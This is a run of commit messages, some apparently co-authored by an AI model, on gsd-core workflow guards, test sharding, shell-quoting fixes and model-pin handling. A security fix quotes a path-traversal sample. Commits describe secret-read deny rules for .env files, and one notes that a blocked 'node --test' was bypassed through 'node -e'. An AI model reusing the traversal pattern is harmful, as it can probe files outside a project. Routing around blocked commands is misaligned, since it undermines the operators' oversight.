gsd-core#4323) found a real ADR gap: every decision in ADR-2782 (D1-D9) and every prior dated amendment governs the `role: "reviewer"` capability body and its one consumer, /gsd:review. This PR's actual new seam - a `supportsReviewerLanes: true` trait on an ordinary feature capability's `steps[]` entry, projected through loop-resolver.cts and resolved in-process via resolveActiveHooksForPoint - is a different capability axis (steps/gates/contributions) that the ADR's own scope note explicitly places out of reach. Per docs/contributor-standards.md's "Amending an accepted ADR", an in-place dated section is the established, lighter-weight path for an addition that stays within the ADR's existing decisions - used twice already in this same file - so this appends a third dated entry documenting the new seam, its consumer, and why it reuses the existing D1-D9-governed plan/invoke machinery rather than adding a second one. No decision is reversed; no new Amends/Amended-by pair is needed since the steps/gates/contributions axis already carries reciprocal links to ADR-857 and ADR-894. * fix(#4209): close two test-quality gaps trek-e's review found Minor 1: validatePaths (a path-shape parser guarding the prompt- injection/path-traversal trust boundary) had only example-based coverage, violating ADR-456's rule that parsers/budget limits carry at least one fast-check property test. Adds three: safe-segment paths are never rejected, a single leading "../" always escapes the one-segment repoRoot, and a control character anywhere is always rejected - one property per rejection reason validatePaths owns. Minor 2: the budget-overflow check (`estimatedTokens > budget`) was only ever exercised far below budget or at budget:0 (unbounded), never at the exact threshold crossing where a `>` vs `>=` off-by-one would hide. Adds three exact-boundary tests using the real estimateTokens/ buildSourceReviewPrompt the module calls internally, so the resolved token count is exact rather than approximated: budget == estimate (must pass), budget == estimate - 1 (must fail), budget == estimate + 1 (must pass). Also extracts okPlan()'s fixture timeoutMs into a named constant - local/no-adhoc-timeout-literal (#4446) landed on next after this branch was authored and flagged the pre-existing literal on rebase; it is fixture data for a synthetic plan object dispatchReviewerLanes never waits on, a distinct class from tests/helpers/timeouts.cjs's real subprocess norms. * fix(#4209): update docs-guard-registration baseline for the new ADR citation reviewer-step-dispatch.test.cjs's new fast-check property tests cite docs/adr/456-test-rigor-architecture.md in a justifying comment (never a real read). lint-docs-guard-registration fingerprints every docs/ path string an exempted test file mentions and fails on drift so a human re-confirms the exemption still holds - re-confirmed, and the baseline is updated to match. * fix(#4209): point changeset pr: field at the fork PR for CI validation changeset-lint's fail_pr_field_drift check compares the fragment's pr: field against the PR the CI run is actually attached to (GITHUB_EVENT_PATH), not a fixed target. Rehearsing this branch on fork PR davdittrich/gsd-core#17 needs pr: 17 to pass that check; the prior commit's pr: 4323 (the real open-gsd upstream PR number) is correct for that PR but fails here. Backfill to 4323 happens again, as the last commit, immediately before the approved push to open-gsd#4323 - never leaving pr: 17 on the branch that ships upstream. * fix(#4209): reject promptChannel:none lanes from source-review dispatch CodeRabbit found a real scope mismatch: coderabbit's lane declares promptChannel: 'none' and reviews the working tree on its own terms, fed nothing (review.md:367). Silently dispatching it through dispatchReviewerLanes would ignore the bounded paths/depth/baseSha scope buildSourceReviewPrompt promises and let the lane review whatever it independently sees fit, violating this interpreter's own scoped, metadata-only contract. Reject before plan()/invoke(), same as an unresolved slug. * fix(#4209): scope CONS-02 test to the evidence-block line, not the whole file CodeRabbit found the whole-file match on workflowContent would still pass if UNVERIFIED and re-open/reopen appeared in two unrelated parts of this 1000+-line workflow, proving nothing about the actual evidence block's contract. Line-filtered via splitLines (not a bare-\n regex spanning readFileSync content) so this stays CRLF-portable and passes local/no-unbounded-quantifier and local/no-crlf-fragile-split. * fix(#4209): guard DISPATCH_JSON substitution and capture its stderr CodeRabbit found the dispatch-step command substitution unguarded: a non-zero exit could leave DISPATCH_JSON empty (or halt the step under errexit with no warning), and the downstream reducer would only ever report the generic unparseable_dispatch_output reason, discarding the command's own diagnostic. Guarded like the existing CODE_REVIEW_POINT/ EXPLICIT_JOINED calls above it: capture stderr to a temp file, surface it in a warning on failure, and fall back to a parseable dispatch_ command_failed JSON stub so the reducer's existing reason-reporting path still fires. * docs(#4209): fix byte-for-behavior wording and missing colon, regenerate CodeRabbit found "byte-for-behavior" should read "byte-for-byte" (the established repo term for output-identical unchanged behavior) and a missing colon after the bold "Optional external reviewer lanes (#4209)" lead-in in docs/features/code-review-pipeline.md. Fixed in the two hand-authored sources (commands/gsd/code-review.md, docs/features/ code-review-pipeline.md) and regenerated the two derived projections (skills/gsd-code-review/SKILL.md via gen-plugin-skills.cjs, docs/ FEATURES.md via gen-features.cjs) so they stay in sync. * fix(#4209): drop the fabricated DISPATCH_JSON fallback stub (Windows CI) The prior fix's fallback `DISPATCH_JSON='{"ok":false,...}'` embeds double-quoted JSON keys inside a single-quoted shell literal. That extra quote density, inside an already quote-heavy ~8KB driver string, passed bash -n and the full local suite on Linux but broke Windows Git-Bash: `dispatch_reviewer_lanes computes CODE_REVIEW_POINT ... end to end (#4209 round 5)` failed on two Windows CI shards with `bash -c: unexpected EOF while looking for matching '''` — a Windows argv-to- command-line re-quoting edge case, reproducible on rerun, not a flake. Root-caused via gh api job logs plus a byte-identical local reconstruction of the test's own driver script. Fix: drop the fabricated stub. The downstream node -e reducer already falls back to reason `unparseable_dispatch_output` on any JSON.parse failure, so an empty/partial DISPATCH_JSON on command failure is still handled correctly, with zero new quoting risk. * revert(#4209): drop the DISPATCH_JSON stderr-guard nitpick (Windows CI) Two materially different mechanisms for the same CodeRabbit Nitpick ("Trivial \| Quick win") both broke Windows Git-Bash reproducibly: a single-quoted JSON-literal fallback ("bash -c: unexpected EOF ... matching '''") and, after removing that, a plain `head -1 "$VAR"` inside a nested command substitution ("unexpected EOF ... matching '"'"). Both passed bash -n and the full local suite on Linux every time; both failed the SAME test deterministically on Windows CI. Two attempts at the same class of fix (nested-quote construction near this exact step) is the retry limit - reverting to the original, already-shipped, Windows-verified unguarded form rather than continuing to guess at a third quoting mechanism for a Trivial- severity nitpick.

Issue #4403's own "Proposed behavior" section lists four checks; the ADR's Decision 5 and its own phase table ("partition rules + the five checks") list five — the same four plus "boundary moves are declared, ongoing". Same issue-vs-ADR drift Phase 2 hit on the detail.md vs detail/.md layout: the ADR is the locked, reviewed document, so it wins. This PR implements all five. docs/PARTITION-RULES.md (new) is the partition-rules document: the partition rule itself, the protected-content list and <!-- gsd:protected --> sentinel syntax (relocated unchanged from gsd-core/references/compact-content-protected-content.md, now deleted — it was never referenced by any runtime workflow Read, only by the predecessor test as documentation, so nothing at runtime regresses, and removing it from gsd-core/references/ also drops it from all 19 installed-project shipped-content trees for a file nothing ever read), and the five checks explained for a human reader. Referenced from a new CONTRIBUTING.md subsection under "Editing shipped content". tests/helpers/compact-content-split.cjs (new) is the shared mechanics: split discovery (any gsd-core/workflows/<name>/detail/.md paired with <name>.md — no registry file, a pair is registered by existing on disk), line normalization (carries forward Phase 2's bare-label-line isTrivial fix and the canonical gsd_run-launcher-preamble exclusion), sentinel extraction, and a Boundary-Move-Declared commit-trailer reader that is a direct structural port of tests/helpers/emitted-runtime.cjs's Emitted-Drift-Ack-Hash/-Growth trailer reader (ADR-3942) — same merge-base range, same fail-closed throw on an uncomputable range, same dedupe/conflict rules. tests/compact-content-partition-guard.test.cjs (new) is the actual guard, superseding tests/plan-phase-compact-split.test.cjs (deleted — its per-pair checks are now the general guard's job for plan-phase specifically). Checks 2 (disjointness) and 3 (registration + size cap) run unconditionally against every registered split. Checks 1 (completeness, fires once per split on the PR that introduces a new detail/ path), 4 (protected content — no trailer can ever excuse this one, unlike check 5) and 5 (boundary moves declared) are PR-diff-scoped against the resolved base ref and skip cleanly when there's nothing to compare (a fresh clone, no PR in flight) — a deliberate asymmetry from check 5's trailer reader, which must throw rather than silently pass when ITS range is uncomputable, since that function is answering "did this PR declare its moves" rather than "is there even a diff to look at". Each of the five checks carries a RED (deliberately broken fixture) / GREEN (fixed) test pair, built against synthetic temp files or real throwaway git repos, per this repo's rule that a guard nobody has seen go red is not yet a guard. Building the real fixtures caught and fixed one real bug before it shipped: check 4's line-presence test was using the trivial-line-filtered normalizer, so a byte-identical spine falsely reported its own protected code-fence line as "deleted" — fixed with a non-filtering membership check. Extending docs/INVENTORY.md's "Workflow Sub-Files" table for `detail` surfaced a pre-existing, unrelated gap in the SAME area: gsd-core/workflows/<name>/templates/.md is a fourth workflow sub-file kind that already existed on disk and was already known to lint-response-language-coverage.cjs's FRAGMENT_DIRS, but was invisible to gen-inventory-manifest.cjs and undocumented in that table. Fixed alongside it, same pattern, same PR, rather than deferred. Also, mechanically required by the new fourth sub-file kind: - scripts/lint-response-language-coverage.cjs: `detail` added to FRAGMENT_DIRS alongside modes/steps/templates — a detail/<part>.md inherits its parent's response_language coverage through the same per-file proof, not a parallel one. - tests/workflow-size-budget.test.cjs: explicit regression test locking that detail/ files are governed solely by the hard, non-waivable NEW_FILE_CAP (tests/helpers/emitted-diff.cjs) and never by the XL/LARGE/DEFAULT spine tiers — true by construction (measureWorkflows/listWorkflowStems don't recurse), made explicit per the issue's own Done-when item rather than left true-by-omission. - scripts/gen-inventory-manifest.cjs: `workflow_detail` and `workflow_templates` NESTED_FAMILIES entries; docs/INVENTORY-MANIFEST.json regenerated (plan-phase/detail/elaboration.md, discuss-phase/templates/.md now tracked); docs/INVENTORY.md's table updated to four kinds. Verified: `npm run lint:ci` clean with the eslint cache cleared. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#4403): review findings + a real gsd-test failure in the new guard Two orthogonal review passes (Standards + Spec, isolated sub-agents) plus a separate security review ran against the prior commit. Fixed everything each surfaced: - Security (Low, path-traversal existence oracle): checkRegistration's dangling-reference check extracted detail-path-shaped substrings from spine PROSE via a regex that permits `.`/`/` freely, then joined them onto repoRoot and probed fs.existsSync with no containment check — a spine file containing `../../../etc/detail/passwd.md`-shaped text could make the guard test file existence outside the repo. Added a path.relative-based containment check before the fs.existsSync call; anything that resolves outside repoRoot is now reported as a dangling reference directly, never probed on disk. - Standards (Boundary Coverage): the size-cap fixtures covered NEW_FILE_CAP and NEW_FILE_CAP-1 but not NEW_FILE_CAP+1 — added the third boundary-point case CLAUDE.md's TEST RULES require (limit-1/limit/limit+1). - Standards (Property-Based Testing): extractProtectedBlocks (a sentinel parser) and the new parseBoundaryMoveTrailerValues (a declare/dedupe/conflict parser, bijective-shaped) had no fast-check property test. Added three: a render/parse bijectivity property for the trailer parser (mirroring the exact ADR-3942 sibling test's alphabet/idiom), a dedupe-is-idempotent property for the same parser, and a well-formed-sentinel-round-trips property for extractProtectedBlocks. Then dispatched gsd-test on the resulting commit. It found a real bug the reviews couldn't have caught (none of them can run inside gsd-test's sandbox): checks 4/5's real-repo assertion failed against plan-phase's own split, reporting DISK_PLANS/#3218-comment lines as "undeclared boundary moves" — content Phase 2 (#4402) legitimately moved into detail/elaboration.md months before this PR's Boundary-Move-Declared mechanism existed to require a trailer for it. Root cause: `resolveBase()`'s own doc comment already documents that no `origin/` remote-tracking ref exists inside the gsd-test sandbox container, and its fallback candidate (a bare `next` branch) can resolve to a point in history that predates an already-merged, already-reviewed split — making that split look "newly introduced" from the sandbox's vantage point. Check 1 (completeness) already scopes itself correctly to only genuinely-new detail paths (git diff status 'A'); checks 4 and 5 did not share that scoping, so a stale base made them re-litigate a settled split retroactively. Fixed by having checks 4/5 skip any split name check 1 already counted as newly-split — their own premise ("did an EXISTING split shed/undeclare something") does not apply to a split that is, from the resolved base's vantage point, brand new; that is check 1's domain alone. Verified locally (25/25 tests pass via a direct `node -e` require, since `node --test` is blocked in this repo) and via re-reasoning through the exact real-repo scenario the gsd-test failure showed. Also regenerated all 19 tests/fixtures/install-tree/.json goldens — the prior commit's deletion of gsd-core/references/compact-content-protected-content.md was never reflected there, which is what golden-install-tree.test.cjs's other 19 failures in the same gsd-test run were.

Traced, not assumed: - scripts/run-tests.cjs's own timeout-headroom comment for the OUTER per-shard timeout documents that "adding one test file reshuffled 115 of 268 unit files between shards" — shard/chunk composition is architecturally known to be unstable to single-file additions, which is exactly what this PR's own new tests/compact-content-partition-guard.test.cjs is. - A second comment, dated 2026-09-06 (one day before this PR, PR #4428's own CI), already documents the SAME chunk hitting the SAME 600s backstop with the SAME file (codex-config.test.cjs, "a genuinely MEASURED weight of 17.87 — not a stale-table miss") dominating it — the fix then was cutting the Windows per-chunk budget from 60 to 40. That cut clearly was not enough: two documented incidents in two days, at two different budget settings, both centered on one file that alone consumes ~45% of even the reduced Windows budget. - tests/test-timings.json's own header confirms its source data (test-events-linux-node22/24.jsonl) is Linux-only, and run-tests.cjs's own chunk-timeout diagnostic already prints "real Windows cost runs ~2.2x the recorded figure" — the packer's weight-balancing is working off data that is both stale (table last regenerated 2026-08-07) and known to underestimate the platform where the failure occurs. Given codex-config.test.cjs is disproportionately heavy AND every companion sharing its chunk is decided by a packing algorithm already documented as reshuffling unpredictably on any new file, tuning the shared budget a third time only moves the marginal line to wherever the next new file happens to land — it does not remove the gamble. Isolating codex-config.test.cjs into its own dedicated single-file chunk, unconditionally and on every platform, removes it at the source: the file never enters the pool packChunks balances, so no other file's packing changes, and no future single-file addition (mine or anyone else's) can silently reintroduce this exact failure by landing in its chunk. Extracted as a small pure function, partitionIsolatedFiles (mirroring this file's existing pattern of pulling packing/analysis logic out of main() for in-process unit coverage — see computeSweepProtectSet, analyzeChunkEvents), with 6 new tests in tests/run-tests-harness.test.cjs covering basename matching across path separators, near-miss non-matches, the empty-list case, and the isolated-set contents. Root cause is now closed rather than papered over with a retry: this failure is a property of one specific heavy file's chunk placement, not something that recurs randomly. If codex-config.test.cjs itself is ever genuinely sped up, this isolation can be revisited — this is a packing-side mitigation for a known file's cost, not a claim the cost is irreducible.

Every covered runtime's secret-read guard denies that (Claude Code deny-rules since #768/v1.4.0; the always-on gsd-secret-read-guard hook since #4236/#4221 in 1.13.0) -- verified by piping each documented command through the shipped hook. verification-patterns.md now checks the environment (printenv) instead of the file, with a case statement replacing a broken grep -v alternation (grep's BRE `\|` is literal, so the old placeholder filter matched nothing -- PLACEHOLDER/TODO_fill values passed the "substantive" check as real). Verified under sh (dash) against real/placeholder/empty/ unset values. Existence check ([ -f ".env" ] \|\| [ -f ".env.local" ]) is untouched -- it was never denied. user-setup.md's three grep <SERVICE> .env.local lines are removed outright rather than swapped for printenv: those examples describe a Next.js shape where the framework loads .env.local at runtime without exporting it to the shell, so a printenv substitute would wrongly report "not set" on a correctly configured project. Each block's existing service-level check (build/webhook/connection/email test) already verifies the setup.

Tom Boucher	8b7a0b696b	enhance(#4139 ): Phase 2 — one shared gate, one pilot split, one accuracy spot-check (#4471 ) * enhance(#4402): split plan-phase into a spine + detail, add the shared compact-content gate ADR-4139 Decisions 3-5, Phase 2 of the #4139 Compact Content epic. Pilot split for plan-phase.md, the largest of the 58 eagerly-@-included workflow files (98,290 bytes): the spine keeps every happy-path step, every protected-content block (planner/checker prompt templates, quality gates, the failing-direction few-shot example, the two ScheduleWakeup guardrail paragraphs — each marked with a <!-- gsd:protected --> sentinel), and condensed one-paragraph summaries of five rare/opt-in fallback paths (planner and checker filesystem-hang recovery, phase-split recommendation, source-audit gaps, the thinking-partner conditional, and plan bounce). The full text of those five moves verbatim to gsd-core/workflows/plan-phase/detail.md (9.9KB, well under the 32,768-byte NEW_FILE_CAP), read by the spine only when workflow.compact_content is false (the default) — the exact same resolution rule now stated once in the new shared gsd-core/references/compact-content-gate.md, which every future split references instead of restating. Verified mechanically (tests/plan-phase-compact-split.test.cjs, scoped to this one split — Phase 3/#4403 owns the generalized guard): the union of spine + detail contains every non-trivial line the parent commit carried (0 missing), no non-trivial line is duplicated between them (0 duplicated), and every declared protected block is well-formed and non-empty. The spine shrinks from 98,290 to 93,206 bytes (-5.2% of the eager-window cost this epic exists to reduce); detail.md's 9,853 bytes are only ever paid by a project that has NOT opted in. Verified live, end to end, twice, against this actual repo (not a synthetic fixture) — real gsd-planner and gsd-plan-checker subagent spawns, real PLAN.md output: - workflow.compact_content=false: planned a real disposable phase (a docs/how-to page for enabling the key itself); planner returned PLANNING COMPLETE, checker returned VERIFICATION PASSED, all fact-checks against real repo state confirmed. - workflow.compact_content=true (detail.md never read): planned a second real disposable phase; planner returned PLANNING COMPLETE with frontmatter.validate and verify.plan-structure both clean, again fully grounded against real repo state. The five condensed fallback sections were independently re-read spine-only and confirmed sufficient to act on correctly without detail.md's elaboration. Also drafts gsd-core/references/compact-content-protected-content.md — the protected-content category list and <!-- gsd:protected --> sentinel syntax ADR-4139 Decision 5 calls for, written to move to Phase 3 (#4403) unchanged once it lands there. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#4402): move detail.md into the ADR-4139-mandated detail/ subdirectory Two independent review sub-agents (Standards and Spec axes of /code-review) caught the same structural defect: ADR-4139 Decision 6 mandates gsd-core/workflows/<name>/detail/.md ("one or more parts... individually skippable"), and this PR had shipped a flat plan-phase/detail.md instead, copying issue #4402's own (inconsistent) restatement rather than the locked ADR text. Fixed by git-mv to plan-phase/detail/elaboration.md and updating every cross-reference (the spine's step 0.5 gate pointer, the shared compact-content-gate.md's own resolution-rule wording, and the completeness test's path constants). Also, from the same review pass: - docs/CONFIGURATION.md and gsd-core/references/planning-config.md's workflow.compact_content rows said "nothing branches on it yet" — no longer true now that plan-phase.md's spine does. Updated both to name plan-phase as the pilot and note the rest of the corpus is still pending. - Regenerated all 19 tests/fixtures/install-tree/.json golden fixtures (npm run gen:install-tree) — the three new shipped files were missing from the installer emitted-tree goldens. - Found via a cache-busted `eslint . --max-warnings 0` (this repo's eslint --cache has produced false-greens before): the split test's `git show` call had a bare `timeout: 10000` literal, tripping local/no-adhoc-timeout-literal. Extracted to the existing GIT_TIMEOUT_MS constant from tests/helpers/timeouts.cjs instead of a second guessed copy of the same class of timeout. Verified NOT needed, by tracing the actual mechanism rather than asserting (tests/helpers/emitted-provenance.cjs's gsd-core-verbatim rule attributes every gsd-core/{workflows,references}/** path to itself as an identity source): an Emitted-Drift-Ack-Hash/-Growth trailer. Every changed/added path in this diff is hand-authored and present in the diff itself, so diffEmitted's attribution loop resolves `via` to the path's own source before ever reaching the ack-lookup branch — there is no unattributed delta to acknowledge. The spine also shrank (98,290 to 93,206 bytes), so the growth ratchet has nothing to ack either. Re-verified after these changes: the completeness/disjointness self-check (0 missing, 0 duplicated) still holds against the relocated detail file, and a full `npm run lint:ci` passes clean with the eslint cache cleared. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#4402): restore literal content the pre-existing drift guards pin on The first gsd-test run against this split (19 failures) surfaced real regressions: several pre-existing structural guards pin the EXACT text of the sections this split condensed, and paraphrasing broke them. - tests/plan-phase-drift-guard.test.cjs expects the literal `DISK_PLANS=$(gsd_run query find-phase ...)` bash assignment inside plan-phase.md itself, not a prose description of the same check. Restored the exact line into both §9a and §11a's spine summaries. - tests/thinking-partner.test.cjs expects plan-phase.md to literally offer "No, I'll decide" as the skip option. Restored that exact phrase into the condensed thinking-partner paragraph. - Both restores would have duplicated the same text into plan-phase/detail/elaboration.md (which still carries the full elaboration). Removed the now-redundant restatements from the detail file instead of leaving them duplicated — the spine already computes DISK_PLANS before the detail elaboration is ever read, so the detail file references it rather than recomputing it. - Re-running scripts/sync-runtime-launcher.cjs after that edit found the canonical gsd_run preamble had also become an unintentional spine/detail duplicate (both files call gsd_run and each is required, by runtime-launcher-parity's own contract, to carry its own copy). That's sanctioned duplication under a DIFFERENT contract, not lost/copy-pasted content, so tests/plan-phase-compact-split.test.cjs now excludes it from the disjointness check the same way it already excludes trivial fences/headings. - Applied the adversarial-review finding on tests/plan-phase-compact-split.test.cjs's own isTrivial(): a blanket `line.length <= 15` cutoff silently swallowed real content (e.g. the 14-char `<quality_gate>` sentinel). Replaced it with a specific bare-label-line pattern (`Options:`, `Display banner:` etc.) — verified 0 missing / 0 duplicated against the actual split, an improvement over both the original cutoff and a naive full removal (which produces false-positive "duplicates" on generic recurring labels). - gsd-core/references/planning-config.md's own workflow.compact_content row used `/gsd-plan-phase` (hyphen). That file is Claude-facing source text (gsd-core/references/), which tests/slash-command-namespace.test.cjs requires in colon form; docs/CONFIGURATION.md's use of the hyphen form is correct as-is since docs/ is human-facing and outside that test's scanned directories. Fixed to `/gsd:plan-phase`. - tests/plan-phase-compact-split.test.cjs's own `git show` of the parent commit failed inside the gsd-test sandbox ("detected dubious ownership") because the checkout is mounted under a UID the invoking user doesn't own. Scoped `-c safe.directory=<repo-root>` to that one git invocation rather than touching global git config. - docs/INVENTORY.md still had one outstanding "detail.md part" wording fix from the earlier adversarial-review pass, staged now. Re-verified locally against the exact assertions in all four affected test files (all pass) before dispatching a fresh gsd-test run — no change here should have broken any of the other 18 gates; `npm run lint` is clean with the eslint cache cleared. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * fix(#4402): restore the full marker enumeration to §9a's spine trigger line The isolated Spec-axis review flagged that §9a's "Triggered when" line was condensed to "Agent() returns but the return contains no recognized marker" — dropping the literal `## PLANNING COMPLETE` / `## PHASE SPLIT RECOMMENDED` / `## ⚠ Source Audit` / `## CHECKPOINT REACHED` / `## PLANNING INCONCLUSIVE` enumeration, which is exactly the "machine- parsed structural headings" category compact-content-protected-content.md lists as protected. The load-bearing use of that same list (the gsd_stall_watch call and the Handle Planner Return bullets a few lines above) was never touched — only this one descriptive restatement was genericized — but leaving any instance of a protected category unsentineled is the silent erosion ADR-4139 Decision 4(c) warns sufficiency isn't machine-checkable enough to catch on its own. Restored the full enumeration into the spine. That reintroduced an exact duplicate into plan-phase/detail/elaboration.md, which still stated the same trigger sentence verbatim. Reworded the detail file's version to reference the spine's trigger condition instead of restating it, since the spine is now the single place that sentence lives in full — mirroring the DISK_PLANS/"already computed above" pattern from the previous commit. Re-verified locally: completeness/disjointness (0 missing, 0 duplicated) and all previously-fixed literal-content assertions still hold.

Tom Boucher	476394689a	fix(#4254 ): pin sequential executor to the orchestrator's validated root (#4476 ) * test(#4254): sequential executor root pin — failing-first regression + matrix The new suite executes the shipped supplied-root-pin guard against real git fixtures (drifted primary-checkout cwd halts before the write and the FATAL names both roots; matching cwd permits it; unexpanded/empty pins halt; normalization forms; submodule and sibling boundaries; metacharacter quoting; drive-letter form gate) and locks the dispatch contract across execute-phase.md, its sequential-root-pin step fragment, and worktree-path-safety.md. The #2772 per-plan serialization assertion retargets to the fragment that now carries those rules (ADR-857 Phase 6 ceiling), plus the host-step wiring. * fix(#4254): pin sequential executor to the orchestrator's validated root Sequential-mode dispatch told the executor to self-derive PROJECT_ROOT from its own cwd; every existing guard is worktree-mode-only or self-referential, so an executor spawned with a drifted cwd committed onto the wrong checkout silently. - worktree-path-safety.md step 0p: mode-agnostic supplied-root pin guard, composed by the orchestrator at build time with the literal $ORCHESTRATOR_WT (git-vs-git comparison on both sides — representation-safe on Windows, the #4296 lesson), fail-closed on empty/unexpanded pins, registered-submodule allowance, warn-and-proceed only when the dispatch carries no pin block. - execute-phase.md sequential branch: build-time embed of the bound <project_root_pin> via the new execute-phase/steps/sequential-root-pin.md fragment (ADR-857 Phase 6 frozen ceiling — the host step cannot grow; the wave serialization rules move with the fragment, verbatim in substance) plus the per-write/commit pin instruction in <sequential_execution>. Worktree-mode dispatch untouched (its self-derived toplevel IS correct there). - INVENTORY rows (5 locales) + INVENTORY-MANIFEST + install-tree goldens regenerated for the new fragment; changeset added. * chore(#4254): backfill changeset PR number * fix(#4254): accept backslash-separated Windows drive pins CI on windows-latest showed every permit-path test failing with "Actual root: <none>": pins composed from Node's path.join arrive in the backslash drive form (C:\Users\RUNNER~1\...), which the guard's absolute-form gate rejected before the cwd-side root was ever computed — a legitimate matching pin could never pass. The gate now accepts either separator ([A-Za-z]:[\\/]); git -C resolves both forms (and 8.3 short names) to the same canonical toplevel, so the git-vs-git comparison is unaffected. Form-gate tests cover the emitted (C:/…) and produced (C:\…) spellings plus short names. * fix(#4254): portable drive-form gate for MSYS bash The bracket class [\\/] that accepted backslash drive pins parses inconsistently on MSYS bash (the Windows CI leg still rejected C:\ pins — every permit-path test red with "Actual root: <none>"). Replace it with standard pattern escaping outside brackets: [A-Za-z]:/\|[A-Za-z]:\\ — the escape form is version- and build-portable. Verified across all forms: both drive spellings accepted; bare "C:", relative, empty, and unexpanded rejected. * fix(#4254): runtime-generated backslash comparator + self-describing FATAL The Windows CI legs failed every #4254 permit-path row with 'Actual root: <none>' across two prior pattern spellings ([\\/] and \\). Stage misattribution: <none> appears whenever the FATAL fires BEFORE the cwd-side capture assigns ACTUAL_ROOT — the absolute-form gate was what fired. Mechanism: the test harness spawns bash -c <script> through the Windows command-line boundary; that round-trip applies one extra shell-quoting pass with double-quote semantics — a backslash written twice in the script text arrives halved, while a lone backslash survives (the pin displays intact; row 9's pure-bash gate independently showed the halved pattern rejecting C:\ while C:/ still passed its surviving arm). On windows-latest every pin carries backslashes (os.tmpdir() is the 8.3 short form C:\Users\RUNNER~1\...), so the gate ate every pin before the actual root was ever computed. Fix, robust by construction: - the drive-form gate generates its backslash comparator at RUNTIME (BS=$(printf '\134'); match [A-Za-z]:"$BS") — the shipped guard now contains no doubled backslash anywhere, enforced by a regression assertion on the extracted guard text; - the FATAL self-describes: Guard stage (pin-unbound / form-gate / actual-capture / pinned-capture / root-mismatch) plus a Diagnostic line carrying git's own stderr for capture failures and both compared values for mismatches — future platform failures name their stage in the log; - row 9's hand-rolled duplicate case gate (transit-fragile copy, #4296 Minor 1 duplication smell) is replaced by driving the SHIPPED guard and asserting the stage; rows 2/4 pin the new stage machinery.

Tom Boucher	fd4aac5670	fix(#4192 ): honor explicit model pins on the claude runtime (#4396 ) * fix(#4192): honor explicit model pins on the claude runtime Two documented model-configuration contracts did not hold on the claude runtime (confirmed-bug scope from the issue triage): Finding 1 — model_profile_overrides.claude.<tier> was inert. Step 3 of resolveModelInternal gated runtime-aware tier resolution on configRuntime !== 'claude', so the key's only reader was never consulted, while workflows/settings-advanced.md writes it for claude-runtime users. A new step 4.5 resolves ONLY the user's override entry (never the builtin claude tier map, so unpinned installs keep resolving aliases). An override value that maps to a current tier alias collapses to that alias (byte-equivalent, the #2041 protection); anything else — a pinned older generation, a bare alias repoint, a non-Anthropic id — resolves verbatim. It sits after the resolve_model_ids:'omit' gate so an explicit project omit still wins (#2297) and before the alias return so resolve_model_ids:true cannot re-materialize the pin to the latest id. Finding 2 — fully-qualified claude-* ids in model_overrides were warn-dropped to tier resolution (mapClaudeOverrideForRuntime unmappable branch, #2041), while the docs promise any fully-qualified model id is valid. The unmappable branch now passes the pin through verbatim with a warn-once breadcrumb (text describes the pass-through). Dropping it silently unpinned the operator's explicit choice — the exact 'profile can misrepresent what actually runs' defect of #4192. Mappable ids and non-claude values behave exactly as before; resolveModelForTier shares the mapping; the tier honesty signal is unchanged (raw ids still report 'unknown'); the model_policy path is untouched. Docs updated to the agreed contract (CONFIGURATION.md false 'Claude example' corrected; how-to + shipped reference document the pin semantics, the fable alias, and the tier-override composition). * test(#4192): pin explicit model pin resolution on the claude runtime 28 failing-first rows across the resolver seam and the resolve-model CLI: pinned-generation fidelity (tier override + per-agent verbatim pins, object form, explicit runtime), unpinned controls byte-stable (no override, other runtime/tier, inherit, project omit, precedence), adversarial rows (prototype-chain keys, malformed values, warn-once dedupe, 64-char stderr cap), and behavioral AC1/AC2 rows through runGsdTools.

Expected RED against the current shipped workflow text — the extraction anchors do not exist yet. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> * feat(#3777): dispatch chunked mode's per-plan planners concurrently within a Wave Adds opt-in planning.chunked_parallel (default false, byte-identical to the existing serial loop). When true and the runtime's negotiated dispatch capacity (dispatch-capacity, #3673) is greater than 1, chunked planning's per-plan Tasks that share one outline Wave are issued together instead of one at a time; a later Wave still waits for the current one to be verified on disk and committed. A host with no declared maxConcurrency (most non-Claude runtimes today) stays serial regardless of the setting. Resolution and the Plan-ID dedup guard live in chunked-planning-mode.md itself (gated on the section's own CHUNKED_MODE skip-check) rather than in plan-phase.md, so a non-chunked run pays no extra gsd_run calls.

Extracting the whole fence and running it after the test's own gsd_run stub let the embedded preamble's own resolver logic `unset -f gsd_run` and exit 1 before reaching the resolution logic, since no real gsd-tools.cjs exists in the temp script dir — every test calling runChunkedParallelResolution() failed. Strip the preamble (sourced from gsd-core/workflows/_runtime-launcher.snippet.sh, the same file scripts/sync-runtime-launcher.cjs treats as canonical) before splicing in the stub, so this suite tests only the resolution logic it is actually about.

An earlier reasoning pass (recorded in .gsd/phase/.../70-docs.json before this commit) had incorrectly claimed #3034 shipped with no equivalent how-to page, as precedent for skipping one here.

Dennis Alexis Valin Dittrich	1017898cb9	fix(#3771 ): make remediation examples non-binding and surface revision conflicts (#3916 ) * fix(#3771): separate the binding property from the advisory remediation Checker findings fused "what property failed" with "how to fix it" into a single `fix_hint` and never marked which half binds. The checker rendered every hint under a "must fix" heading, the orchestrators injected the issues verbatim and ordered targeted updates, and the shared revision references mapped each hint to a prescriptive strategy — so a contract-following planner applied a hint literally even when a smaller mechanism satisfied the same property, or when the hint contradicted a locked decision. There was no channel to report that conflict, and every attempt burned a revision iteration. Checker side: every issue now carries a binding `required_property` (the invariant that failed) plus its evidence and severity, and `fix_hint` is labelled non-binding wherever it appears — including the human-facing blocker rendering, so "must fix" unambiguously names the property and never the example. Planner side: revision re-checks locked decisions, capability guidance and existing plan constraints before editing; satisfying a blocker through a smaller valid alternative counts as addressing it; and a hint that conflicts with any of those returns `REVISION_CONFLICT` carrying the conflict and the alternatives considered. Orchestrators route that to user choice or the configured plan-review convergence loop without consuming retry budget. Also applied to the UI-spec revision loop and the gap-plan hint, and the generic pattern's stray `suggested_fix` field name is reconciled to the plan-checker's `fix_hint`. Nothing legitimately binding is weakened: blockers still block, severity still gates, iteration caps and stall escalation still fire, and required task fields and decision coverage still hold. Refs #3771 * test(#3771): pin the binding/advisory split across the revision chain Locks the separation at every link that carries it: the checker's issue schema and blocker rendering, the planner's constraint re-check and REVISION_CONFLICT return, the generic pattern's reconciled field names, and each orchestrator's conflict routing without 